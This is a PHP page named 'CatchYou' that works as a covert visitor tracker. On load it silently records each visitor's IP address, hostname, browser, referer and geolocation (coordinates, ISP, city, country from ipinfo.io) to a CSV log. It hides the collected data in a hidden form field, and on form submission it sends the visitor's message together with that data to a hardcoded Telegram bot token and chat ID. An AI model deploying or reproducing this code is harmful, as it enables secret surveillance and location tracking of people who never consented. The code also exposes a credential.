<?php
// This program generates a web pages that gets
// the user's information, saves it to a file,
// and displays it on the web page.
// Created by Mitchell Robinson.
// 27 July, 2014.
// Name of the ip address log.
$outputWebBug = 'iplog.csv';
// Get the ip address and info about client.
@ $details = json_decode(file_get_contents("http://ipinfo.io/{$_SERVER['REMOTE_ADDR']}/json"));
@ $hostname=gethostbyaddr($_SERVER['REMOTE_ADDR']);
// Get the query string from the URL.
$QUERY_STRING = preg_replace("%[^/a-zA-Z0-9@,_=]%", '', $_SERVER['QUERY_STRING']);
// Write the ip address and info to file.
@ $fileHandle = fopen($outputWebBug, "a");
if ($fileHandle)
{
$string ='"'.$QUERY_STRING.'","' // everything after "?" in the URL
.$_SERVER['REMOTE_ADDR'].'","' // ip address
.$hostname.'","' // hostname
.$_SERVER['HTTP_USER_AGENT'].'","' // browser and operating system
.$_SERVER['HTTP_REFERER'].'","' // where they got the link for this page
.$details->loc.'","' // latitude, longitude
.$details->org.'","' // internet service provider
.$details->city.'","' // city
.$details->region.'","' // state
.$details->country.'","' // country
.date("D dS M,Y h:i a").'"' // date
."\n"
;
$write = fputs($fileHandle, $string);
@ fclose($fileHandle);
}
$string = '<code>'
.'<p>'.$QUERY_STRING.'</p><p>IP address: '
.$_SERVER['REMOTE_ADDR'].'</p><p>Hostname: '
.$hostname.'</p><p>Browser and OS: '
.$_SERVER['HTTP_USER_AGENT'].'</p><p>'
.$_SERVER['HTTP_REFERER'].'</p><p>Coordinates: '
.$details->loc.'</p><p>ISP provider: '
.$details->org.'</p><p>City: '
.$details->city.'</p><p>State: '
.$details->region.'</p><p>Country: '
.$details->country.'</p><p>Date: '
.date("D dS M,Y h:i a").'</p></code>'
;
echo '<!DOCTYPE html><html><head><title>Who Am I?</title></head><body>';
//echo $string;
echo '<input type="hidden" name="browser" value="'.$string.'">';
echo '</body></html>';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script>
<title> CatchYou </title>
</head>
<body>
<div class="container">
<form action="" method="post">
<span>Msg :</span>
<input type="text" name="message">
<input type="submit" name="submit">
</form>
<?php
if(isset($_POST['submit']))
{
$apiToken = "5711777985:AAH4KBQmdNVBoqRZ6DHoYRIT-tutYZP2v6A";
$data = [
'chat_id' => '5431419547',
'text' => 'user :'.$_POST['message']."\n".'IP :'.$_SERVER['REMOTE_ADDR']."\n".'Hostname :'.$hostname."\n".'browzer :'.$_SERVER['HTTP_USER_AGENT']."\n".'city :'.$details->city."\n".'country :'.$details->country."\n".'Date :'.date("D dS M,Y h:i a")
];
$response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );
}
?>
</body>
</html>